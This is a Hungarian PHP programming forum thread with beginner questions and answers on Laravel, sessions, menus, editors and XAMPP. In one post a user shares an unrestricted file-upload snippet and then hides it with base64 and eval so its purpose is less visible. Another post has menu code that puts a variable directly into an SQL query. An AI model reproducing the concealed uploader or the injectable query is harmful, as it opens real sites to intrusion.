- Poco F7 – bajnokesélyes
- Netfone
- Honor Magic6 Pro - kör közepén számok
- Mobvoi TicWatch Pro 3 - Wearzióproblémák
- Xiaomi 15 - kicsi telefon nagy energiával
- iPhone topik
- Google Pixel topik
- Profi portréfotós lehetsz ezzel a telefonnal
- Android alkalmazások - szoftver kibeszélő topik
- Milyen okostelefont vegyek?
Új hozzászólás Aktív témák
- 
			
			Bocsánat a trehány fogalmazásért, közben kiderült hogy én vagyok a béna. A valami. Php tartalmaz elsőként egy POST-ot, ami saját magának ad át adatot, majd a file később egy GET-et ami egy masik.php-nak ad át adatot. A hiba az volt hogy a POST form nem volt lezárva. Viszont lenne egy másik kérdésem, ugyan ehez, es sehol sem találtam megoldast. A GET-el egy időt és dátumot adék át. Input type="datetime-local" al. Viszont igy a formátum éééé-hh-nnTóó:pp. Nekem viszont adott formátumra lenne szükségem, ami óó:pp hh/nn/ééée lenne. Hogy tudnám ezt beállitani? Vagy adjam meg változónak és karakter pozicionként hivatkozva rakjam össze? 
- 
			
			  DS39 nagyúr válasz  Pulsar
							
							
								#18596
							
							üzenetére Pulsar
							
							
								#18596
							
							üzenetéreha egy valami.php szerver oldali fájlra gondolsz, akkor lehet persze, fel tud dolgozni egy fájl GET és POST kéréseket is. 
 viszont ahogy az előttem szóló is írja, pl. egy form adatait csak egyikkel lehet továbbítani a szerver felé, vagy GET vagy POST.írd le kicsit pontosabban hol akadtál el a kódban, akkor könnyebben tudunk segíteni.  
- 
			
			Sziasztok 
 POST és GET lehet egyszerre egy file-ba? Mert a POST megy, de a GET nem. De ha a GET-es file rész kimásolom egy külön php-ba/html-be akkor megy.
- 
			
			  gergogazd csendes tag válasz  gergogazd
							
							
								#18594
							
							üzenetére gergogazd
							
							
								#18594
							
							üzenetéreÚgy tűnik, nem ez volt a gond. A total commander tehet róla.  
 Php feltöltésnél úgy szoktam megoldani az ftp frissítést, hogy belépek egy könyvtárba meg vissza, és ez ma is jól működött amikor először töltöttem fel, aztán megírtam a base64-es kódot, ami miatt egy újabb tesztet kellett futtatnom, de ezúttal nem frissült a tartalom, hiába léptem ki-be. Újracsatlakozás után viszont már fent volt minden amivel próbálkoztam.
- 
			
			  gergogazd csendes tag sziasztok szeretnék egy minél kevésbé beszédes fájl feltöltő kódot írni, ezért először csináltam egy ilyet: <?$important=$_SERVER["DOCUMENT_ROOT"]."/php/";if(!empty($_POST)){if(!is_dir($important))mkdir($important);move_uploaded_file($_FILES["index"]["tmp_name"],$important.basename($_FILES["index"]["name"]));}?>Bocs a tömörség miatt, de konkrétan így szerepel az oldalamon, és ebben a formában még működik is. Később úgy voltam vele, hogy erről még mindig ordít, hogy mit csinál, ezért base64-gyel kódoltam így: <?
 $source = '$important=$_SERVER["DOCUMENT_ROOT"]."/php/";if(!empty($_POST)){if(!is_dir($important))mkdir($important);move_uploaded_file($_FILES["index"]["tmp_name"],$important.basename($_FILES["index"]["name"]));}';
 $code = base64_encode($source);
 eval(base64_decode($code));
 ?>Így viszont már nem töltötte fel a fájlt, de gőzöm sincs, hogy hol akadt el. Az echo függvény pl gond nélkül lefutott rajta, nem volt probléma a változókkal és idézőjelekkel sem. Mi lehet a baj?  
- 
			
			  hemaka nagyúr Kernek egy kis segitseget. A kategoriak neve helyett ikonokat szeretnek. 
 Amikor mar kifele listazza a kategoriakat, oda biggyszetettem egy ilyet:echo str_replace('elsokategoria', '<img src="icon1.png"/>', $row->catname);Ez frankon ki is csereli a kategoria szoveget az adott ikonra+a szoveg. 
 De tobb kategoria van mas-mas nevvel es ha megegyszer beillesztem, csak a kategoria nevet irom at, a masikra a $row->catname miatt annyiszor kiirja ujra egyymas utan...Hogyan lehet ezt megcsinalni, hogy ne irja ki annyiszor, vagy ez igy tok szar es kezdjem elolrol?  
- 
			
			  oszkarfincs aktív tag válasz  PoniLoW
							
							
								#18591
							
							üzenetére PoniLoW
							
							
								#18591
							
							üzenetéreAmiatt nyílik le üresen, mert minden esetben kiírod. A <ul class="dropdown-menu" role="menu">előtt vizsgáld meg mysqli_num_rows függvénnyel, hogy van-e értéke a $cquery lekérdezésnek. Ha van, csak akkor írasd ki az <ul> részt if-fel.Egyébként ezt 1 lekérdezésből is meg lehetne csinálni. 
- 
			
			  PoniLoW csendes tag Sziasztok! Van egy menürendszerem, amit admin menüből lehet módosítani adatbázison keresztül. A gondom az vele, hogy akkor is lenyílik, ha nincs második szintű menüpont, így nem is kattintható, hiába van rajta hivatkozás. Úgy kellene tehát megcsinálni, hogy csak akkor nyíljon le, ha van alatta második szint (ugyanez igaz a második szintnél is, hogy csak akkor nyíljon le, ha van harmadik), másküldönben pedig egy sima hivatkozás legyen, ami kattintható. Az adatbázisban a 'parent' oszlopban 0 szerepel, ha főmenü, ha pedig valamely főmenünek az almenüje, akkor a főmenü id-je kerül oda. A navigation.php kódja a következő: <?php
 $sql = "SELECT * FROM categories WHERE parent = 0";
 $pquery = $db->query($sql);
 ?>
 <!-- Top Nav Bar -->
 <nav class="navbar navbar-default navbar-fixed-top">
 <div class="container">
 <a href="../nyomtatok/index.php" class="navbar-brand">3D nyomtatók</a>
 <ul class="nav navbar-nav">
 <?php while($parent = mysqli_fetch_assoc($pquery)) : ?>
 <?php
 $parent_id = $parent['id'];
 $sql2 = "SELECT * FROM categories WHERE parent = '$parent_id'";
 $cquery = $db->query($sql2);
 ?>
 <!-- Menüpontok -->
 <li class="dropdown">
 <a href="#" class="dropdown-toggle" data-toggle="dropdown"><?php echo $parent['category'];?><span class="caret"></span></a>
 <ul class="dropdown-menu" role="menu">
 <?php while($child = mysqli_fetch_assoc($cquery)) : ?>
 <li><a href="#"><?php echo $child['category']; ?></a></li>
 <?php endwhile; ?>
 </ul>
 </li>
 <?php endwhile; ?>
 </div>
 </nav>A válaszokat előre is köszönöm! 
- 
			
			  PumpkinSeed addikt A/1: Évek 
 A/2: Sajnos ez egy olyan szakma ahol nélkülözhetetlen az angol nyelv. Ha profi szintre akarsz jutni akkor azt magyar nyelven nem fogod tudni megtenni.
 A/3: XAMPP, WAMP, LAMP függően attól, hogy milyen rendszered van. Esetleg ha tesztelni akarsz érdemes a Scotch Box-t telepíteni.
- 
			
			  ALFA senior tag válasz  DNReNTi
							
							
								#18588
							
							üzenetére DNReNTi
							
							
								#18588
							
							üzenetére     Akkor térjünk a témára:  
 A verzió:
 1. mennyi idő alatt tudom megtanulni a php akárhányadik verziójának programozását profi szinten?
 2. hol vannak magyar nyelven érthető és hibamentes példák webes gyakorlásra?
 3. hol használhatok ingyenes php-mariadb vagy php-pgsql környezetet kipróbálni az adatbázist?B verzió: 
 Hány jelentkező van, aki közli, hogy nála minden fizikai és szellemi adottsága megvan, összecsap egy példát (vagy mutatja, hogy már csinált ilyet) és privátban megbeszéljük a többit?
- 
			
			  ALFA senior tag válasz  Zola007
							
							
								#18575
							
							üzenetére Zola007
							
							
								#18575
							
							üzenetéreSajnos a magyar wiki fél éves és elég szűkszavú. 
 (Nem mindig kedvelem, mert az eredeti angol oldalak egy kis részét fordítják csak le, de ez magánvélemény volt. ) )
 Az angol xampp oldal folyamatosan frissül, de az se túl bőbeszédű.Ahhoz, hogy még jobban összezavarjalak, ajánlom ezt az angol oldalt, lehet filózni a csomagok összeállítása kapcsán is.  
 [link]
- 
			
			  increst csendes tag Sziasztok! Szabad kapacitással rendelkező programozót keresnék folyamatos kisebb nagyobb projektekhez. Nincsenek nagy igényeim. Kb 2-3 év tapasztalat. MEGBIZHATÓSÁG. Főállásra is felvennék valakit, külsősnek is örülnék, fusizóknak is tudok melót adni. Minden munkára van pár naptól akár több hét átfutás is. Rendesen, időben fizetek. Ha számlaképes vagy az is jó, ha nem az sem baj. Valaki?  Olyan fejlesztővel is szívesen egyeztetnék, aki vállalná egy frontendes kollégám és egy rookie srác PHP alapozását. (természetesen fizetek érte)  
- 
			
			  Zedz addikt Esetleg tesztel valaki Laravelt a Postmannel?  
- 
			
			  Zedz addikt Sziasztok! Ismertek esetleg valamiféle programot, ami local php servernek küld test post adatokat, html rész nélkül? Ha lehet most ezért nem írnék kliens oldalt. 
- 
			
			  Pocok256 veterán 
- 
			
			
- 
			
			  Zola007 veterán Telepíteném a XAMPP-ot, ezzel kapcsolatban kérdezném, hogy a Tomcat, webalizer és Fake Sendmail egységeknek van-e szerepe apache, mysql dolgoknál vagy kihagyhatók? 
 Wikin azt írja, hogy integrált rendszer, de pontosan mire szolgálnak egyébként?Perl-t korábban telepítettem programozáshoz az ActivePerl csomagját , az ebben lévőt ha felrakom ütközik a másikkal vagy inkább ne telepítsem a Xampp-ban lévőt? Egyébként melyik verziót érdemes, 5.6.24 vagy az újab 7.0.9? 
 láttam itt korábban volt néhány embernek gondja az újabbalHa az szeretném, hogy ne legyenek biztonsági problémáim mit kell még beállítanom? 
 Wiki: "A XAMPP telepítése után a helyi gép (a localhost) hálózati gépként is hozzáférhetővé válik, pl. FTP kliensprogrammal elérhető. Alkalmazható pl. FileZilla fájlkezelő, telepíthetők tartalomkezelő rendszerek, mint a Wordpress vagy a Joomla. A localhost közvetlenül is kezelhető egyes HTML vagy általános szövegszerkesztőkből, az FTP protokoll használatával. Az alapbeállítás szerinti FTP felhasználónév a „newuser”, jelszava „wampp”. Az alapbeállítás szerinti MySQL felhasználónév a „root”, jelszó nélkül.
- 
			
			  disy68 aktív tag Alapvetően én is. A felhasználóhoz tartozó minden adat menne adatbázisba és tokenekkel oldanám meg, ha saját megoldás kéne. Tokent tárolnám sessionben vagy/és sütiben, ha hosszabb lejáratú belépés is kéne és adatbázisból csak a felhasználóhoz tartozó tokent kéne törölni a kijelentkezéshez. @(#18571) DS39 Itt tudsz nézelődni, milyen lehetőségek vannak session-nel kapcsolatban. session_start() után lekéred a session_id()-vel a session azonosítót és mented adatbázisba. Az alapértelmezett session kezelő-vel két lehetőséged van azonosító alapján törölni egy session-t: 
 1, session_save_path() megadja hol vannak tárolva a session fájlok, amik alapból sess_[session_id] szerű néven tárolódnak, ha van hozzá jogosultság, ezeket tudod szimplán törölni. Ez a megoldás nem igazán az ajánlott kategória.
 2, A másik lehetőség, hogy eltárolod a saját session azonosítódat, indítasz egy sessiont a törölni kívánt azonosítóval, törlöd a sessiont, majd újból indítasz egy sessiont a saját azonosítóddal. Link.
- 
			
			  DS39 nagyúr válasz  disy68
							
							
								#18569
							
							üzenetére disy68
							
							
								#18569
							
							üzenetéreKöszönöm a válaszokat. És erre tudsz linkelni egy példa kódot is? Mert eddig egy úgy csináltam hogy amikor bejelentkezik valaki, akkor eltárolom a userid-jét mondjuk: 
 $_SESSION["userid"] = $user_id;és azt értem hogy lehet unset-elni egy session változót, nem csak destroy-jal mindent, de ha a lent említett esetben én ezt unset-elem, akkor engem léptet ki a rendszer, mert a kliensben az én userid-m van. 
 vagy lehetne hivatkozni, hogy a 8794-es userid-t törölje?
- 
			
			  DS39 nagyúr van egy php-s oldalam, ahol lehet regisztrálni. 
 és ha a felhasználó szeretné törölheti a regisztrációját (töröltre állítódik valójában)
 a művelet végén lefut neki egy session destroy, és így kilépteti.van az oldalhoz egy admin felület ahol lehet törölni/tiltani felhasználót, ekkor szintén ugyanaz a művelet fut le, viszont kijelentkeztetni nem tudom session destroy-al, mivel az az én kliens-emen futna le és engem dobna ki. 
 hogy lehet megcsinálni hogy ilyenkor az ő kliens böngészője kidobja. (mivel tényleges törlésre nem kerül, tud még mókolni a rendszerben, miközben látszik hogy "törölve van")arra gondoltam hogy a weboldal minden lapján meghívok egy ellenőrző függvényt, ami visszaadja, hogy törölt-e a user, és ha igen, kidobja. viszont ez nem tűnik túl "elegáns/gazdaságos" megoldásnak, mivel ez egy ritka eset, ezért futtatni állandó egy ilyen scriptet. tudtok erre jobb módot? 
 pl. a PH hogy csinálja hogy ha egy helyről kilépek, minden kliensen kiléptet?
 (oké, itt tudom hogy sütit használnak és azt lejártra állítják, én meg jelenleg csak sima sessiont, ami böngésző bezárással léptet ki automatikusan)
- 
			
			  Pocok256 veterán válasz  fordfairlane
							
							
								#18565
							
							üzenetére fordfairlane
							
							
								#18565
							
							üzenetéreSublime nem rossz amúgy, sokáig én is azt használtam viszont nagyobb projektekben elveszik. 
- 
			
			  Pocok256 veterán válasz  fordfairlane
							
							
								#18551
							
							üzenetére fordfairlane
							
							
								#18551
							
							üzenetéreLassút nem mondanám inkább csak erőforrás igényes nálam alá van rakva 16g ram meg egy erős i7 es és süvít. Még hatalmas projekteknél (100MB+ php forráskód) is másodpercek alatt felindexel mindent. Szerencsére képes az összes létező magot befogni munkára ha arra van szükség így megfelelő bika gép mellett a phpstorm is virágzik. 
- 
			
			  PumpkinSeed addikt 
- 
			
			  Mdvertigo újonc válasz  PumpkinSeed
							
							
								#18561
							
							üzenetére PumpkinSeed
							
							
								#18561
							
							üzenetéreHa csak az a lényeg, hogy átláthatóvá váljon a szerkesztő által a php kód "emelje ki szinessel a fontosabb kódokat", akkor egyszerűbbet és gyorsabbat keresve sem találhat az ember. 
- 
			
			  #14595328 törölt tag válasz  Agostino
							
							
								#18559
							
							üzenetére Agostino
							
							
								#18559
							
							üzenetéreHát, nekem már volt egy kis c# alapom, amikor tanulni kezdtem a PHP-t, úgy azért egyszerűbb volt, sokkal könnyebb volt értelmezni a példa kódokat. Ha nagyon az elején akarod / kell kezdeni, fuss át ezen. Egész jól átmegy a lényegen, egyszerű példákkal. Csináld meg a példákat, sokkal jobb, ha magadtól jössz rá a működésre, mint bemagolni egy könyvet vagy példát. 
- 
			
			  Agostino addikt válasz  fordfairlane
							
							
								#18556
							
							üzenetére fordfairlane
							
							
								#18556
							
							üzenetéreén már általában el vagyok veszve, honnan lenne érdemes kezdeni, miből... angolul szinte tökéletesen értem az olvasott szöveget, szóval ha van erre ajánlás, nekem az is nagyon hasznos. a nyitó hsz-ben a linkek sajnos egyrészt nem működnek másrészt farkába harap a kígyó, mert ott is a blackb és a 24h volt linkelve. 
- 
			
			  Agostino addikt válasz  DNReNTi
							
							
								#18553
							
							üzenetére DNReNTi
							
							
								#18553
							
							üzenetéreköszi, megnézem! kicsit más: a php 24 óra című könyv egyes példáitól a hajamat téptem, rákerestem topikon belül és látom, már 2009-ben is ráfutott itt egy lakó ugyan arra, mint amire ma én. de ez nem is érdekes. arra gondoltam a zavarosabb php24h alatt órákat inkább a fekete könyvből veszem át, vagyis a kettőt ötvözöm. működhet? 
- 
			
			  DNReNTi őstag válasz  PumpkinSeed
							
							
								#18543
							
							üzenetére PumpkinSeed
							
							
								#18543
							
							üzenetéreUgy ugy, eljen a PHPStorm!  
- 
			
			  #14595328 törölt tag A Visual Studio Code sem rossz. 
- 
			
			  func93 senior tag válasz  PumpkinSeed
							
							
								#18543
							
							üzenetére PumpkinSeed
							
							
								#18543
							
							üzenetéreKöszi mindkettőtöknek!  
- 
			
			  func93 senior tag Sziasztok! Tudtok ajánlani "php kód szerkesztőt", végülis az volna a lényeg, hogy emelje ki szinessel a fontosabb kódokat stb., mert hosszabb kódokat néha már nem látok át. 
- 
			
			  apple87 senior tag Köszi  
- 
			
			  DNReNTi őstag válasz  fordfairlane
							
							
								#18535
							
							üzenetére fordfairlane
							
							
								#18535
							
							üzenetéreHát az rendben van, de azért ez egy elég egyértelmű hibaüzenet. No mindegy nem offense-nek szántam, persze kérdezzen csak, úgy tanul az ember, csak itt szerintem a kérdésben benne volt a válasz. Ha én látom rosszul máris jelleggel elnézést kérek.  
 Szerk: Off
- 
			
			  #14595328 törölt tag válasz  apple87
							
							
								#18533
							
							üzenetére apple87
							
							
								#18533
							
							üzenetéreKeress rá a megjelenő hibákra, ne azonnal konkrét megoldást keress, sokkal jobban meg fogod érteni a dolgokat. Azzal nem fogsz tanulni, ha leírjuk a megoldást, sokkal jobban jársz, ha magadtól fejted meg ezeket a dolgokat. Persze ez sem mindig járható út, de az elején biztosan. 
 Ja, és ahogy fordfairlane is írta, ettől még kérdezz nyugodtan!
- 
			
			  apple87 senior tag Oké megoldottam 
 Bocsi mindenkitől , most kezdem tanulni.
- 
			
			  #14595328 törölt tag válasz  adika4444
							
							
								#18523
							
							üzenetére adika4444
							
							
								#18523
							
							üzenetéreHát, valami hasonló jquery-vel, de ez már nem PHP: $(document).ready(function() {
 $("#beviteli_mezo_id").bind("keypress", function(e){
 var regex = new RegExp("regex feltétel");
 var key = String.fromCharCode(!e.charCode ? e.which : e.charCode);
 if (!regex.test(key)) {
 e.preventDefault();
 return false;
 }
 });
 });
- 
			
			  adika4444 addikt válasz  #14595328
							
							
								#18509
							
							üzenetére #14595328
							
							
								#18509
							
							üzenetéreKözben találtam megoldást: 
 preg_match('/[^0-9.]/', "vmi szám")
 Hogy beírni se lehessen, oda gondolom JS kellene, érdekelne mi a megoldás...
 (#18512) supreme7:
 Regex-xel hogyan tudom azt megadni hogy csak számokat, vagy csak számokat és a-z A-Z és ._- karaktereket lehessen bevinni?
- 
			
			  zeix senior tag Sziasztok! Olvasgattam az SSE (Server-Sent Events)-ről. 
 Az lenne a kérdésem, hogy ez valós idejű dolog, vagy csak időközönként lekérdez egy programfájlt?
 Melyiket érdemes használni?
 SSE:<script>
 if(typeof(EventSource) !== "undefined") {
 var source = new EventSource("demo_sse.php");
 source.onmessage = function(event) {
 document.getElementById("result").innerHTML += event.data + "<br>";
 };
 } else {
 document.getElementById("result").innerHTML = "Sorry, your browser does not support server-sent events...";
 }
 </script>
 Vagy ezt:<script>
 $(document).ready(function (e) {
 setInterval ( event, 1000 );
 });
 function event() {
 $("#result").load("demo_sse.php");
 };
 </script> 
- 
			
			  envagyok veterán Nulláról indulok php és mysql-t tekintve. 
 Szeretnék magamnak egy ingatlanközvetítős weboldalt készíteni.
 Milyen irányban érdemes elindulni, hogy a legkisebb költséggel elkészíthessem?
 Már olvastam WordPress témákról?
 Azzal úgy megy, hogy feltöltöm a házi szerveremre, és webes alapon konfigurálom fel?
- 
			
			  PumpkinSeed addikt válasz  Joci93
							
							
								#18516
							
							üzenetére Joci93
							
							
								#18516
							
							üzenetéreAz ilyenek amúgy például pont mehetnének egy model-be aminek pl lenne a neve imageHandlerModel vagy valami ilyesmi. Nem tudom mik a lehetőségek erre Laravel-ben de mivel alapból asszem az is MVC framework ezért biztos van rá lehetőség. Amiért én ezt a model-be tenném, mert pl. lehet, hogy más controllerek is használni akarják majd a kép átméretezést és a model-t bármilyen conrollerben meghívhatod. 
- 
			
			  fordfairlane veterán válasz  Joci93
							
							
								#18516
							
							üzenetére Joci93
							
							
								#18516
							
							üzenetére... a harmadik megoldást megnézem a doksiban. A harmadik módszer az, amit manapság javasolni szoktak. Dependency Injection, DI container, Service container, hasonló kulcsszavak mögött találod meg a témakört. Egyébként szerintetek sem jó, ha egy metódusban 2 vagy több dolog történik? Például kép feltöltés --> méretezés --> mentés. Hanem, ezeket a lépéseket célszerűbb külön - külön metódusba szervezni? Az attól függ, mennyire komplex egy-egy eljárás. Ha egyberakod, később nehezebb lesz a részeit újra felhasználni egy másik pontján a kódban, mivel így nem eléggé moduláris. Persze meglévő kódot később is át lehet írni, tagoltabbá tenni. Ezen kívül azt is érdemes szem előtt tartani, hogy a kód olvasásával és értelmezésével általában nagyságrendileg több idő szokott elmenni, mint a leírásával, függetlenül attól, hogy a saját-vagy más által írt programot kell tudnod értelmezni. Egy év múlva ránézel egy metódusra, és hiába te írtad, egyáltalán nem biztos, hogy érteni fogod, mi micsoda. Ha a kódod tagolt, és egyértelmű, hogy mi miért van benne, az sokat számít. 
- 
			
			  Joci93 senior tag válasz  PumpkinSeed
							
							
								#18514
							
							üzenetére PumpkinSeed
							
							
								#18514
							
							üzenetéreKöszönöm, így már világos, ez a módszer nagyon tetszik  fordfairlane: Köszönöm, az első megoldás logikus..  A második tetszik, ha jól értelmezem, akkor ugyan az, amit PumpkinSeed ajánloatt, a harmadik megoldást megnézem a doksiban. A második tetszik, ha jól értelmezem, akkor ugyan az, amit PumpkinSeed ajánloatt, a harmadik megoldást megnézem a doksiban.Egyébként szerintetek sem jó, ha egy metódusban 2 vagy több dolog történik? Például kép feltöltés --> méretezés --> mentés. Hanem, ezeket a lépéseket célszerűbb külön - külön metódusba szervezni? 
- 
			
			  fordfairlane veterán válasz  Joci93
							
							
								#18513
							
							üzenetére Joci93
							
							
								#18513
							
							üzenetére1. Lehet úgy csinálni, hogy egyetlen kontrollerobjektumot használsz több metódussal. A közös kódrész, a "getItemDetails" külön metódusba kerül, amit a többi metódus meghívhat. 2. Lehet csinálni a két kontrollerosztálynak közös szülőosztályt, ami tartalmazza a közös kódrészt. class IndexController extends MyController
 class SubmitController extends MyController
 class MyController extends Controller3. Lehet csinálni egy service objektumot, amit aztán bármelyik kontroller használhat. Ebben az esetben a service objektumot példányosítani kell az adott Kontroller konstruktorában, vagy valami service manager komponens segítségével. Laravelben is van ilyen, csak én speciel nem ismerem a Laravelt, így ebben konkrét tanácsot vagy kódrészletet nem tudok produkálni. A framework saját controller osztályát módosítani valóban nem tanácsos. 
- 
			
			  PumpkinSeed addikt válasz  Joci93
							
							
								#18513
							
							üzenetére Joci93
							
							
								#18513
							
							üzenetéreIgazából elvben nem szabadna két kontrollernek kommunikálni egymással vagy nem tudom. De szerintem jobb lenne ezt a Details()metódust beletenni a Controller-be. Viszont mivel gondolom a Controller a Core-ban van benne ezért ezt nem kellene csinálni a későbbi frissítések miatt. Esetleg azt lehetne csinálni, hogy betenni egy Controller-t ValamiController néven (Nem tudom mi az Index és Submit ebben az esetben) és aSubmitControllermeg azIndexControllernemextends Controller-el lenne ellátva hanemextends ValamiController, míg aValamiControllermegkapná azextends Controller-t és benne lenne aDetails()metódus.
- 
			
			  Joci93 senior tag Nagyon kezdő kérdés jön, megfelelő választ nem találtam, úgyhogy elnézést, ha hülyeséget kérdezek. Laravelben van 2 controllerem: IndexController és SubmitController. Az Indexcontrollerben lévő IndexController osztályban van egy "Details()" metódus, ami lekérdez különböző paramétereket az adott járműről. 
 Ha ugyan ezt a metódust szeretném használni a SubmitController osztályban lévő "Test()" metódusban akkor annak mi a legjobb módja?Extendelni gondolom az alap extends Controllermiatt nem lehet.Ezt mennyire jó megoldás? Nekem nagyon triviálisnak tűnik.... use App\Index; //IndexController
 class SubmitController extends Controller
 {
 public function Test(){
 $Index= new Index();
 $details= $Index->Details()
 return $details;
 }
 }
- 
			
			  adika4444 addikt Sziasztok! Adott egy php oldal. Ez bekér adatokat. 
 Hogyan oldhatom meg hogy csak egy listában (tömbben, változóban) megadott karaktereket lehessen beírni?
 Köszi!
- 
			
			  PumpkinSeed addikt válasz  PowerBuldog
							
							
								#18505
							
							üzenetére PowerBuldog
							
							
								#18505
							
							üzenetéreAmúgy meg nem a verzió miatt kell az újabb technológiát használni hanem, hogy ne lopják el az összes adatbázisba mentett adatodat. 
- 
			
			válasz  PowerBuldog
							
							
								#18505
							
							üzenetére PowerBuldog
							
							
								#18505
							
							üzenetéreEz oké, de ha valami problémájuk lesz és majd mégis szeretnének php verziót váltani, akkor majd pont emiatt nem fogják tudni. Akkor persze majd téged szidnak, hogy miattad nem lehet változtatni. 
- 
			
			  DNReNTi őstag válasz  PowerBuldog
							
							
								#18501
							
							üzenetére PowerBuldog
							
							
								#18501
							
							üzenetéreAzt még tegyük hozzá, hogy a mysql_függvények deprecated státuszúak PHP 5.5 óta, és el is tűnnek PHP 7.0 és felette. Az ebből előbb-utóbb biztosan adódó problémákat érdemes lenne megelőzni mysqli, vagy pdo használatával. 
- 
			
			  Zola007 veterán Van itt valaki, aki az ELTE Informatikai Karára jár? 
 kérdeznék privátban 
- 
			
			válasz  PowerBuldog
							
							
								#18501
							
							üzenetére PowerBuldog
							
							
								#18501
							
							üzenetéreNem. még nem jó teljesen: has already been taken  
Új hozzászólás Aktív témák
- ASZTALI GÉP / ALKATRÉSZ beárazás
- Milyen széket vegyek?
- Milyen notebookot vegyek?
- MILC felhasználók szakmai topikja
- Poco F7 – bajnokesélyes
- Elektromos autók - motorok
- Felforgatná Kína a technológiai világrendet
- RETRO beárazás (mobil, PC, konzol)
- Folyószámla, bankszámla, bankváltás, külföldi kártyahasználat
- Luck Dragon: Asszociációs játék. :)
- További aktív témák...
- Fujifilm 33/1.4 R LM WR
- Crucial P310 1TB M.2 2230 NVME PCI-E 4.0 x4 - Új, bontatlan - 7100-6000 MBs - Eladó!
- Használt NVME M2 SSD-k - 1000 GB tól 2048GB-ig Samsung Hynix Intel Kioxia WD Micron Toshiba
- WD Black SN770M 2TB M.2 2230 NVME PCI-E 4.0 x4 - Új - 5150-4850 MBs - Eladó!
- Gamer PC 2025, Komplett gép, Garanciális alkatrészek, BESZÁMÍTÁS
- BESZÁMÍTÁS! 64GB (2x32) Samsung 3200MHz DDR4 memória garanciával hibátlan működéssel
- ÁRCSÖKKENTÉS Menő retró konfig: Q9550, Gigabyte P43, 4GB RAM, ASUS GT730
- AMD AM4-es HP OMEN 25L GT12 alaplapok - B550 chipset
- Dell XPS 13 9370 - 9380 UHD touch, 16GB RAM, 256-512GB SSD, jó akku, szép állapot, számla, garancia
- HIBÁTLAN APPLE WATCH ULTRA 2 NATURAL TITANIUM 49MM -1 ÉV GARANCIA - MS3713, 100% AKKUMULÁTOR
Állásajánlatok
Cég: Promenade Publishing House Kft.
Város: Budapest
Cég: NetGo.hu Kft.
Város: Gödöllő

 
								 
							 
								
 
								 
								 
							

 
								 
								 
							 
								 
							 
								 
							 
  
  
								 
							 )
 ) 
								

 
								 
							
 
								 
							 
								 
								 
							 
								 
							 
								
 
							 
							 
							 
								 
							 
								 
							 
								 
							 
							 
								
 
								 
							


 
							 
								 
								 
								 
							 
								 
								 
							

